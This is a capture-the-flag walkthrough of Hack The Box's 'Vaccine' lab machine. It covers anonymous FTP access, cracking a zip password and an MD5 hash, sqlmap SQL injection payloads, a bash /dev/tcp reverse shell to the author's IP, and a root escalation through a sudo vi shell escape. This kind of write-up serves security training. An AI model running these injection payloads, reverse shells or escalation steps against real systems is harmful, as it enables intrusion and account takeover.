https://app.hackthebox.com/machines/Vaccine/



Vaccine | Walkthrough

Phase
Reconnaissance
Foothold

Reconnaissance

Using nmap to enumerate all open ports in the target

nmap -sC -sV 10.129.46.0
port scanning
nopedawn@npdn ~/L/H/S/Vaccine> nmap -sC -sV 10.129.46.0
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-23 11:18 WIB
Nmap scan report for 10.129.46.0
Host is up (0.49s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.155
|      Logged in as ftpuser
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: MegaCorp Login
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.33 seconds
nuclei enumerating
nopedawn@npdn ~/L/H/S/Vaccine> nuclei -u 10.129.46.0

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.7.0

                projectdiscovery.io

[INF] Your current nuclei-templates v10.3.9 are outdated. Latest is v10.4.0
[INF] cleaned up 5 orphaned template file(s)
[INF] Successfully updated nuclei-templates (v10.4.0) to /home/nopedawn/nuclei-templates. GoodLuck!

Nuclei Templates v10.4.0 Changelog
┌───────┬───────┬──────────┬─────────┐
│ TOTAL │ ADDED │ MODIFIED │ REMOVED │
├───────┼───────┼──────────┼─────────┤
38929737896└───────┴───────┴──────────┴─────────┘
[INF] Current nuclei version: v3.7.0 (outdated)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 9904
[INF] Executing 9887 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 17 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 2255 (Reduced 2130 Requests)
[INF] Using Interactsh Server: oast.fun
[cookies-without-httponly] [javascript] [info] 10.129.46.0 ["PHPSESSID"]
[cookies-without-secure] [javascript] [info] 10.129.46.0 ["PHPSESSID"]
[waf-detect:apachegeneric] [http] [info] http://10.129.46.0
[ssh-sha1-hmac-algo] [javascript] [info] 10.129.46.0:22
[ssh-auth-methods] [javascript] [info] 10.129.46.0:22 ["["publickey","password"]"]
[CVE-2023-48795] [javascript] [medium] 10.129.46.0:22 ["Vulnerable to Terrapin"]
[ssh-password-auth] [javascript] [info] 10.129.46.0:22
[ssh-server-enumeration] [javascript] [info] 10.129.46.0:22 ["SSH-2.0-OpenSSH_8.0p1 Ubuntu-6ubuntu0.1"]
[snmpv3-detect] [javascript] [info] 10.129.46.0:161 ["Enterprise: unknown"]
[ftp-detect] [tcp] [info] 10.129.46.0:21
[vsftpd-detect:version] [tcp] [info] 10.129.46.0:21 ["3.0.3"]
[openssh-detect] [tcp] [info] 10.129.46.0:22 ["SSH-2.0-OpenSSH_8.0p1 Ubuntu-6ubuntu0.1"]
[ftp-anonymous-login] [tcp] [medium] 10.129.46.0:21
[missing-cookie-samesite-strict] [http] [info] http://10.129.46.0 ["PHPSESSID=2up0dtu983mv72c52abqb7kg1b; path=/"]
[tech-detect:php] [http] [info] http://10.129.46.0
[tech-detect:google-font-api] [http] [info] http://10.129.46.0
[INF] Skipped 10.129.46.0:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=10.129.46.0:4040 chain="connection refused; got err while executing http://10.129.46.0:4040/jobs/"
[INF] Skipped 10.129.46.0:5814 from target list as found unresponsive permanently: Get "https://10.129.46.0:5814/autopass": cause="port closed or filtered" address=10.129.46.0:5814 chain="connection refused"
[missing-sri] [http] [info] http://10.129.46.0/ ["https://fonts.googleapis.com/css?family=Open+Sans:400,700"]
[apache-detect] [http] [info] http://10.129.46.0 ["Apache/2.4.41 (Ubuntu)"]
[php-detect] [http] [info] http://10.129.46.0
[http-missing-security-headers:content-security-policy] [http] [info] http://10.129.46.0
[http-missing-security-headers:permissions-policy] [http] [info] http://10.129.46.0
[http-missing-security-headers:x-frame-options] [http] [info] http://10.129.46.0
[http-missing-security-headers:x-content-type-options] [http] [info] http://10.129.46.0
[http-missing-security-headers:clear-site-data] [http] [info] http://10.129.46.0
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://10.129.46.0
[http-missing-security-headers:missing-content-type] [http] [info] http://10.129.46.0
[http-missing-security-headers:strict-transport-security] [http] [info] http://10.129.46.0
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://10.129.46.0
[http-missing-security-headers:referrer-policy] [http] [info] http://10.129.46.0
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://10.129.46.0
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://10.129.46.0
[INF] Scan completed in 4m. 31 matches found.

After port-scanning, the service is running in linux machine and there are three service opens in tcp

  • 21/tcp open ftp vsftpd 3.0.3
  • 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  • 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

As we can see from ftp, the service isn’t configured and it can accessed Anonymously,

21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip

So, we can use Anonymous credential without using password to logged in

ftp anonymously logged in
nopedawn@npdn ~/L/H/S/Vaccine> ftp 10.129.46.0
Connected to 10.129.46.0.
220 (vsFTPd 3.0.3)
Name (10.129.46.0:nopedawn): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10398|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp>

There’s one file inside backup.zip

file inside ftp host
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10897|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |*****************************************************************|  2533       10.22 KiB/s    00:00 ETA
226 Transfer complete.
2533 bytes received in 00:01 (2.36 KiB/s)
ftp> exit
221 Goodbye.
nopedawn@npdn ~/L/H/S/Vaccine> ls
backup.zip
nopedawn@npdn ~/L/H/S/Vaccine> unzip backup.zip
Archive:  backup.zip
[backup.zip] index.php password: 

It need password to unzip/extract it, so I’ll try to crack using JTR (John The Ripper) as usual

cracking zip with john
nopedawn@npdn ~/L/H/S/Vaccine> zip2john backup.zip > backup.hash
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
nopedawn@npdn ~/L/H/S/Vaccine> john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
741852963        (backup.zip)
1g 0:00:00:00 DONE (2026-03-23 11:46) 50.00g/s 2048Kp/s 2048Kc/s 2048KC/s 123456..loser69
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Got the zip password is 741852963, now we can unzip it

extract zip file
nopedawn@npdn ~/L/H/S/Vaccine> unzip backup.zip
Archive:  backup.zip
[backup.zip] index.php password:
  inflating: index.php
  inflating: style.css

There are two files after we extract it

There’s credential leaked in index.php snippet code

<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
?>

It’s admin credential and it’s refers to /dashboard.php page to logged in, the password is given 2cb42f8734ea607eefed3b70af13bbd3 but look like in md5 value, so we need to crack it in crackstation.net

CrackStation.net is a free security awareness project and web-based service used to “crack” password hashes using massive precomputed lookup tables. It is primarily designed to demonstrate the vulnerability of unsalted password storage and to help security researchers and developers implement better authentication systems. (see more)

In real-life md5 can’t be cracked, however if we store the md5 value to crackstation it acts as a massive lookup table that compares your hash against billions of pre-calculated results to find an instant match.

While you can’t technically “reverse” the math of an MD5 hash, CrackStation succeeds because it has already done the work of hashing trillions of common passwords in advance. If your specific MD5 value is in their database, it reveals the plaintext password immediately, proving that the hash was never actually “unbreakable.”

Here’s the result:

HashTypeResult
2cb42f8734ea607eefed3b70af13bbd3md5qwerty789

So the final credentials is:

  • admin:qwerty789

Foothold

After I logged in, I notice the url in search parameter search=

http://10.129.46.0/dashboard.php?search=

Since I was already authenticated, I extracted my previous cookie session from my browser and then used it to crack with sqlmap. (see more)

sqlmap -u "http://10.129.46.0/dashboard.php?search=test" --cookie="PHPSESSID=<sessionid>" --batch --dbs
sqlmap initial enumerating
nopedawn@npdn ~/L/H/S/Vaccine> sqlmap -u "http://10.129.46.0/dashboard.php?search=test" --cookie="PHPSESSID=h8hr0tcl4co6i6skecvaavrd7d" --batch --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.10.3.10#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:58:51 /2026-03-23/

[13:58:51] [INFO] testing connection to the target URL
[13:58:52] [INFO] testing if the target URL content is stable
[13:58:53] [INFO] target URL content is stable
[13:58:53] [INFO] testing if GET parameter 'search' is dynamic
[13:58:53] [WARNING] GET parameter 'search' does not appear to be dynamic
[13:58:54] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[13:58:55] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[13:58:55] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[13:58:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:59:02] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:59:03] [INFO] testing 'Generic inline queries'
[13:59:04] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[13:59:07] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable
[13:59:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:59:08] [WARNING] reflective value(s) found and filtering out
[13:59:08] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[13:59:08] [INFO] testing 'PostgreSQL inline queries'
[13:59:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[13:59:09] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)
[13:59:26] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[13:59:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:59:37] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[13:59:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=test' AND (SELECT (CASE WHEN (8859=8859) THEN NULL ELSE CAST((CHR(104)||CHR(86)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- ofRq

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=test' AND 4627=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (4627=4627) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)) AS NUMERIC)-- eInr

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=test';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=test' AND 2446=(SELECT 2446 FROM PG_SLEEP(5))-- jzrd
---
[13:59:37] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[13:59:43] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[13:59:43] [INFO] fetching database (schema) names
[13:59:45] [INFO] retrieved: 'public'
[13:59:46] [INFO] retrieved: 'pg_catalog'
[13:59:46] [INFO] retrieved: 'information_schema'
[14:00:01] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[14:00:01] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[14:01:12] [INFO] fetched data logged to text files under '/home/nopedawn/.local/share/sqlmap/output/10.129.46.0'

[*] ending @ 14:01:12 /2026-03-23/

The important error

---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=test' AND (SELECT (CASE WHEN (8859=8859) THEN NULL ELSE CAST((CHR(104)||CHR(86)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- ofRq

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=test' AND 4627=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (4627=4627) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)) AS NUMERIC)-- eInr

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=test';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=test' AND 2446=(SELECT 2446 FROM PG_SLEEP(5))-- jzrd
---

The output says that sqlmap identified a SQL injection in a GET parameter and enabled command execution within the web context, which was sufficient to obtain a shell.

Enter the shell by using --os-shell and running again

We can use the following command to gain a reverse-shell

sqlmap os-shell enumerating
nopedawn@npdn ~/L/H/S/Vaccine> sqlmap -u "http://10.129.46.0/dashboard.php?search=test" --cookie="PHPSESSID=h8hr0tcl4co6i6skecvaavrd7d" --os-shell
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.10.3.10#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:13:47 /2026-03-23/

[14:13:47] [INFO] resuming back-end DBMS 'postgresql'
[14:13:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=test' AND (SELECT (CASE WHEN (8859=8859) THEN NULL ELSE CAST((CHR(104)||CHR(86)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- ofRq

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=test' AND 4627=CAST((CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (4627=4627) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)) AS NUMERIC)-- eInr

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=test';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=test' AND 2446=(SELECT 2446 FROM PG_SLEEP(5))-- jzrd
---
[14:13:48] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[14:13:48] [INFO] fingerprinting the back-end DBMS operating system
[14:13:52] [WARNING] reflective value(s) found and filtering out
[14:13:52] [INFO] the back-end DBMS operating system is Linux
[14:13:54] [INFO] testing if current user is DBA
[14:13:56] [INFO] retrieved: '1'
[14:13:57] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[14:13:57] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

Set listener

set listener
C:\Users\npdn>nc -lvnp 8481
listening on [any] 8481 ...

Back to previous sqlmap tab and run this following command

bash -c "bash -i >& /dev/tcp/<YOUR-VPN-IP>/8481 0>&1"
privesc to get shell
os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.155/8481 0>&1"
do you want to retrieve the command standard output? [Y/n/a] y

Voila! we get the reverse-shell in postgres user

postgres user shell
C:\Users\npdn>nc -lvnp 8481
listening on [any] 8481 ...
connect to [10.10.16.155] from (UNKNOWN) [10.129.46.0] 56334
bash: cannot set terminal process group (6499): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
postgres@vaccine:/var/lib/postgresql/11/main$ pwd
pwd
/var/lib/postgresql/11/main
postgres@vaccine:/var/lib/postgresql/11/main$ whoami
whoami
postgres
postgres@vaccine:/var/lib/postgresql/11/main$

Let’s see in the source code /var/www/html

inside /var/www/html
postgres@vaccine:/var/lib/postgresql/11/main$ ls /var/www/html
ls /var/www/html
bg.png
dashboard.css
dashboard.js
dashboard.php
index.php
license.txt
style.css
dashboard.php
postgres@vaccine:/var/lib/postgresql/11/main$ cat /var/www/html/dashboard.php
cat /var/www/html/dashboard.php
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Admin Dashboard</title>
  <link rel="stylesheet" href="./dashboard.css">
  <script src="https://use.fontawesome.com/33a3739634.js"></script>

</head>
<body>
<!-- partial:index.partial.html -->
<body>
 <div id="wrapper">
 <div class="parent">
  <h1 align="left">MegaCorp Car Catalogue</h1>
<form action="" method="GET">
<div class="search-box">
  <input type="search" name="search" placeholder="Search" />
  <button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
</div>
</form>
  </div>

  <table id="keywords" cellspacing="0" cellpadding="0">
    <thead>
      <tr>
        <th><span style="color: white">Name</span></th>
        <th><span style="color: white">Type</span></th>
        <th><span style="color: white">Fuel</span></th>
        <th><span style="color: white">Engine</span></th>
      </tr>
    </thead>
    <tbody>
        <?php
        session_start();
        if($_SESSION['login'] !== "true") {
          header("Location: index.php");
          die();
        }
        try {
          $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
        }

        catch ( exception $e ) {
          echo $e->getMessage();
        }

        if(isset($_REQUEST['search'])) {

          $q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }
        else {

          $q = "Select * from cars";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }


      ?>
    </tbody>
  </table>
 </div>
</body>
<!-- partial -->
  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script  src="./dashboard.js"></script>

</body>
</html>

Got the credentials

$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");

Also, the user flag is stored in /var/lib/postgresql/user.txt

user flag
postgres@vaccine:/var/lib/postgresql/11/main$ find / -name user.txt 2>/dev/null
<stgresql/11/main$ find / -name user.txt 2>/dev/null
/var/lib/postgresql/user.txt
postgres@vaccine:/var/lib/postgresql/11/main$ cat /var/lib/postgresql/user.txt
<ostgresql/11/main$ cat /var/lib/postgresql/user.txt
REDACTED

Now, I try to logged in ssh using postgres:P@s5w0rd! credential

connect ssh host
nopedawn@npdn ~/L/H/S/Vaccine> ssh postgres@10.129.46.0
postgres@10.129.46.0's password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 23 Mar 2026 07:38:47 AM UTC

  System load:  0.0               Processes:             195
  Usage of /:   32.6% of 8.73GB   Users logged in:       0
  Memory usage: 24%               IP address for ens160: 10.129.46.0
  Swap usage:   0%


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

postgres@vaccine:~$ sudo -l
[sudo] password for postgres:
Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
postgres@vaccine:~$

postgres can run vi command on pg_hba.conf as root. Editors that spawn shells are a classic escalation path. So we did:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Inside vi, type this following

:!bash
# or
:set shell=/bin/sh
:shell

Boom! we successfully privesc to get the root

success gaining root user
root@vaccine:/var/lib/postgresql#
root@vaccine:/var/lib/postgresql# whoami
root
root@vaccine:/var/lib/postgresql# ls
11  user.txt

And also the root flag stored in

root flag
root@vaccine:/var/lib/postgresql# find / -name root.txt 2>/dev/null
/root/root.txt
root@vaccine:/var/lib/postgresql# cat /root/root.txt
REDACTED

Source:

https://crackstation.net
https://hackviser.com/…/#output-examples-of-sqlmap-commands